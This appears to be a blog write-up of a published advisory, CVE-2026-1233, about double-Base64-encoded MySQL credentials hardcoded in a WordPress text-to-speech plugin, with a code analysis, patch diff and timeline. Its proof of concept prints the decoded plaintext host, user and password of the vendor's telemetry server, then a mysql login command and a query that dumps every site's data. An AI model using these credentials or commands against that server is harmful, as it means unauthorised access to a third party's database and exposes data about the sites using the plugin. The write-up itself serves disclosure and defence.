CVE-2026-1233: Hardcoded MySQL Credentials in TTS Plugin

CVE-2026-1233: Hardcoded MySQL Credentials in TTS Plugin

CVE-2026-1233 is a CVSS 7.5 (High) sensitive information exposure vulnerability in the Text to Speech – TTSWP WordPress plugin by Mementor. The plugin’s Mementor_TTS_Remote_Telemetry class contains hardcoded MySQL credentials for the vendor’s external telemetry server, protected only by double Base64 encoding — a trivial, reversible transformation. Any unauthenticated attacker who reads the plugin source code (freely downloadable from WordPress.org) can decode these credentials in seconds and connect directly to the vendor’s MySQL server, gaining access to the telemetry database that aggregates usage metadata from every site running the plugin.

Vulnerability Summary

FieldValue
Plugin NameText to Speech – TTSWP
Plugin Slugtext-to-speech-tts
CVE IDCVE-2026-1233
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUse of Hard-coded Credentials (CWE-798)
Affected Versions<= 1.9.8
Patched Version1.9.9
PublishedApril 3, 2026
Last UpdatedApril 4, 2026
ResearcherKazuma Matsumoto — GMO Cybersecurity by IERAE, Inc.
Wordfence AdvisoryLink
Patch ChangesetSVN r3453258

Description

The Text to Speech for WP (AI Voices by Mementor) plugin for WordPress is vulnerable to sensitive information exposure in all versions up to, and including, 1.9.8. This is due to the plugin containing hardcoded MySQL database credentials for the vendor’s external telemetry server in the Mementor_TTS_Remote_Telemetry class. This makes it possible for unauthenticated attackers to extract and decode these credentials, gaining unauthorized access to the vendor’s telemetry database.

The credentials are embedded directly in the plugin source code distributed to every WordPress site running the plugin. They are protected only by double Base64 encoding — a trivial, reversible transformation — meaning any party who can read the plugin’s PHP source (anyone who downloads the plugin from WordPress.org) can immediately decode and use the credentials to connect directly to the vendor’s MySQL server. No WordPress installation is required to exploit this; the plugin ZIP alone is sufficient.


Technical Analysis

Vulnerable File

includes/class-mementor-tts-remote-telemetry.php

This class (introduced in version 1.4.2) implements a telemetry system that daily aggregates plugin usage statistics from each WordPress installation and uploads them to the vendor’s remote MySQL database via a direct mysqli connection.

Vulnerable Class Properties

The class declares four private properties holding the double-Base64-encoded database credentials:

class Mementor_TTS_Remote_Telemetry {

    /**
     * Encrypted database credentials
     * These are obfuscated to prevent easy access
     */
    private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
    private $enc_db   = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
    private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
    private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';

The developer comment — “These are obfuscated to prevent easy access” — reveals the intent but also the fundamental error: Base64 is encoding, not encryption. It requires no key, no secret, and is entirely reversible by anyone with an internet connection.

Vulnerable Function: insert_remote_data()

The insert_remote_data() private method, called daily by send_daily_telemetry() on a scheduled WordPress cron job, decodes these properties and opens a live mysqli connection directly from the WordPress server to the vendor’s database:

private function insert_remote_data($data) {
    // Decrypt credentials
    $host     = base64_decode(base64_decode($this->enc_host));
    $dbname   = base64_decode(base64_decode($this->enc_db));
    $username = base64_decode(base64_decode($this->enc_user));
    $password = base64_decode(base64_decode($this->enc_pass));

    // Create connection using mysqli
    $mysqli = new mysqli($host, $username, $password, $dbname);

    if ($mysqli->connect_error) {
        if (mementor_tts_is_debug_enabled()) {
            error_log('Mementor TTS: Failed to connect to telemetry database');
        }
        return false;
    }

    $mysqli->set_charset('utf8mb4');

    $sql = "INSERT INTO {$this->table_name} (
        domain, date, user_type, plugin_version, pro_version,
        generations, characters_total, shared_api_uses, shared_api_characters,
        pro_api_uses, pro_api_characters, user_api_uses, user_api_characters,
        errors, php_version, wp_version, country, created_at
    ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
    ON DUPLICATE KEY UPDATE ...";

    // Prepare and execute ...
}

Decoded Credentials

Applying base64_decode(base64_decode(...)) to each property yields the plaintext credentials embedded in the plugin:

PropertyEncoded ValueDecoded Value
$enc_hostYjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9oslo2.mementor.no
$enc_dbYldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=mementor_ttsplugindata
$enc_userYldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09mementor_ttsplugindatausr
$enc_passUlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==E5LngkvZa4QzXTKDBfeF

Execution Path

WordPress cron: mementor_tts_send_remote_telemetry (daily)
  └── Mementor_TTS_Remote_Telemetry::send_daily_telemetry()
        └── $this->prepare_telemetry_data($usage_data)
        └── $this->insert_remote_data($telemetry_data)
              └── base64_decode(base64_decode($this->enc_*))  ← credentials decoded from source
              └── new mysqli($host, $username, $password, $dbname)  ← direct DB connection
              └── INSERT INTO tts_usage_data (...)

The class is instantiated during plugin initialization, meaning the credentials are always present in the plugin’s distributed source code and accessible to any party who can read the plugin files — without any authentication to WordPress whatsoever.

Root Cause

The developer’s mistaken belief that Base64 encoding constitutes a meaningful security control. private class properties in PHP are only private within the running process — they are an OOP access modifier, not a security boundary. They do not prevent static analysis of the distributed source code. Since WordPress plugins are distributed as open-source ZIP archives on WordPress.org, every copy of the plugin includes the full plaintext-equivalent credentials for the vendor’s external MySQL server.

Why Existing Controls Failed

ControlWhy it failed
private class propertiesRestricts runtime access within PHP OOP only. Has zero effect on source code inspection or static analysis.
Double Base64 encodingNot encryption. No key, no cipher. Base64 is a one-to-one encoding that any developer, script, or online tool can reverse in milliseconds. The source code comment even calls it “obfuscated to prevent easy access” — but it provides none.
No network-layer restrictionThe MySQL port must be publicly reachable for this direct-connection model to function. With valid credentials, any IP can connect.

Attack Impact

An unauthenticated attacker who reads the plugin source code can:

  1. Extract and decode the MySQL credentials from any installed copy of the plugin — or directly from the WordPress.org plugin repository ZIP, with no WordPress site required.
  2. Connect directly to the vendor’s MySQL server at oslo2.mementor.no on port 3306 using the decoded credentials.
  3. Read all telemetry data in the tts_usage_data table — including the domain names, WordPress versions, PHP versions, geographic country data, and API usage metrics of all sites running the plugin.
  4. Write or modify records in the telemetry database via INSERT ... ON DUPLICATE KEY UPDATE, poisoning the vendor’s analytics.
  5. Potentially escalate if the database user holds broader MySQL privileges beyond the tts_usage_data table.

The primary confirmed impact (per CVSS C:H) is unauthorized read access to the vendor’s telemetry database, which aggregates sensitive site metadata from all plugin users.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. The vendor has issued a patch (1.9.9) and should have rotated the exposed credentials. Do not attempt to access any system without explicit written authorization.

Prerequisites

Step 1: Obtain the Plugin Source

Download any version of the plugin <= 1.9.8 directly from the WordPress.org plugin repository:

curl -L -o text-to-speech-tts-1.9.8.zip \
  "https://downloads.wordpress.org/plugin/text-to-speech-tts.1.9.8.zip"

unzip text-to-speech-tts-1.9.8.zip

No authentication is required — the plugin is publicly distributed under an open-source license.

Step 2: Locate the Hardcoded Credentials

Inspect the telemetry class:

grep -A5 "enc_host" \
  text-to-speech-tts/includes/class-mementor-tts-remote-telemetry.php

Expected output from the v1.9.8 source:

private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
private $enc_db   = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';

Step 3: Decode the Credentials

Replicate the plugin’s own decoding logic — base64_decode(base64_decode($value)):

import base64

encoded = {
    'host': 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9',
    'db':   'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=',
    'user': 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09',
    'pass': 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==',
}

for key, val in encoded.items():
    decoded = base64.b64decode(base64.b64decode(val)).decode()
    print(f"{key}: {decoded}")

Output:

host: oslo2.mementor.no
db:   mementor_ttsplugindata
user: mementor_ttsplugindatausr
pass: E5LngkvZa4QzXTKDBfeF

Step 4: Connect to the Remote Database

With the decoded credentials, a standard MySQL client connects directly to the vendor’s server:

mysql -h oslo2.mementor.no \
      -u mementor_ttsplugindatausr \
      -p'E5LngkvZa4QzXTKDBfeF' \
      mementor_ttsplugindata

For the plugin’s direct-connection model to have worked, port 3306 must have been publicly accessible. With valid credentials, this command yields an authenticated MySQL session.

Step 5: Extract Telemetry Data

Once connected, an attacker can query all collected telemetry across every plugin user’s site:

SELECT domain, date, user_type, plugin_version, wp_version,
       php_version, country, generations, characters_total
FROM tts_usage_data
ORDER BY date DESC;

This exposes the domain names, software versions, geographic locations, and usage statistics for every WordPress installation that ran the plugin.

Expected Result

The attacker obtains authenticated MySQL access to the vendor’s external telemetry database, gaining the ability to read usage metadata for all plugin users and to write or modify telemetry records.

Verification

Successful exploitation is confirmed by receiving a mysql> shell prompt after Step 4, with the ability to execute SHOW TABLES; and SELECT queries against mementor_ttsplugindata.


Patch Analysis

What Changed

Modified file: includes/class-mementor-tts-remote-telemetry.php

The patch makes a single architectural change: it removes the direct MySQL connection model entirely and replaces it with an HTTPS API call. No credentials of any kind are shipped in the distributed plugin code.

Fix Explanation

In version 1.9.9, all four hardcoded credential properties are removed from the class and replaced with a single HTTPS endpoint URL:

-    /**
-     * Encrypted database credentials
-     * These are obfuscated to prevent easy access
-     */
-    private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
-    private $enc_db   = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
-    private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
-    private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';
+    /**
+     * Remote telemetry API endpoint
+     * Uses secure HTTPS API instead of direct database connection
+     */
+    private $api_endpoint = 'https://crm.mementor.no/plugin/api/telemetry/v1/collect.php';

The insert_remote_data() method no longer decodes credentials or opens a raw TCP connection to MySQL. Instead, it builds a signed HTTPS POST request using WordPress’s wp_remote_post():

-    private function insert_remote_data($data) {
-        $host     = base64_decode(base64_decode($this->enc_host));
-        $username = base64_decode(base64_decode($this->enc_user));
-        $password = base64_decode(base64_decode($this->enc_pass));
-        $dbname   = base64_decode(base64_decode($this->enc_db));
-        $mysqli = new mysqli($host, $username, $password, $dbname);
-        // ... INSERT INTO tts_usage_data ...
+    private function insert_remote_data($data) {
+        $timestamp = time();
+        $nonce = wp_generate_password(16, false);
+        $signature = hash_hmac('sha256', $data['domain'] . $timestamp . $nonce, 'mementor_tts_telemetry_v1');
+        $response = wp_remote_post($this->api_endpoint, array(
+            'body'      => wp_json_encode(array(
+                'telemetry_data' => $data,
+                'timestamp'      => $timestamp,
+                'nonce'          => $nonce,
+                'signature'      => $signature,
+                'api_version'    => '1.0'
+            )),
+            'sslverify' => true,
+        ));
+        $response_code = wp_remote_retrieve_response_code($response);
+        return ($response_code >= 200 && $response_code < 300);
+    }

The fix is architecturally correct: by interposing an HTTPS API endpoint on the vendor’s server, the plugin no longer needs to distribute any database credentials at all.

Code Diff (Key Changes)

@@ -21,14 +21,11 @@
-    /**
-     * Encrypted database credentials
-     * These are obfuscated to prevent easy access
-     */
-    private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
-    private $enc_db   = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
-    private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
-    private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';
-
-    /**
-     * Table name for telemetry data
+    /**
+     * Remote telemetry API endpoint
+     * Uses secure HTTPS API instead of direct database connection
+     */
+    private $api_endpoint = 'https://crm.mementor.no/plugin/api/telemetry/v1/collect.php';
+    /**
+     * Table name for telemetry data (used for reference only)
      */

@@ -266,100 +263,73 @@
-    private function insert_remote_data($data) {
-        $host     = base64_decode(base64_decode($this->enc_host));
-        $dbname   = base64_decode(base64_decode($this->enc_db));
-        $username = base64_decode(base64_decode($this->enc_user));
-        $password = base64_decode(base64_decode($this->enc_pass));
-        $mysqli = new mysqli($host, $username, $password, $dbname);
-        if ($mysqli->connect_error) { ... return false; }
-        $mysqli->set_charset('utf8mb4');
-        $sql = "INSERT INTO tts_usage_data (...) VALUES (?) ON DUPLICATE KEY UPDATE ...";
-        $stmt = $mysqli->prepare($sql);
-        $stmt->bind_param('sssssiiiiiiiissss', ...);
-        $result = $stmt->execute();
-        $stmt->close(); $mysqli->close();
-        return $result;
-    }
+    private function insert_remote_data($data) {
+        $timestamp = time();
+        $nonce = wp_generate_password(16, false);
+        $signature = hash_hmac('sha256', $data['domain'] . $timestamp . $nonce, 'mementor_tts_telemetry_v1');
+        $response = wp_remote_post($this->api_endpoint, array(
+            'method'     => 'POST',
+            'timeout'    => 15,
+            'headers'    => array('Content-Type' => 'application/json', ...),
+            'body'       => wp_json_encode(array('telemetry_data' => $data, ...)),
+            'sslverify'  => true
+        ));
+        $response_code = wp_remote_retrieve_response_code($response);
+        return ($response_code >= 200 && $response_code < 300);
+    }

Residual Risks


Timeline

DateEvent
UnknownVulnerability introduced — Mementor_TTS_Remote_Telemetry class present since version 1.4.2
2026-02-02Version 1.9.8 released (last vulnerable version)
2026-02-03Patched version 1.9.9 released (SVN changeset r3453258)
2026-04-03CVE-2026-1233 publicly disclosed by Wordfence
2026-04-04Wordfence advisory last updated

Remediation

Update the text-to-speech-tts plugin to version 1.9.9 or later immediately.

Vendors maintaining telemetry in plugins should:


References

  1. Wordfence Advisory — CVE-2026-1233
  2. CVE-2026-1233 on cve.org
  3. SVN Patch Changeset r3453258
  4. Plugin on WordPress.org
  5. Researcher — Kazuma Matsumoto, GMO Cybersecurity by IERAE

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee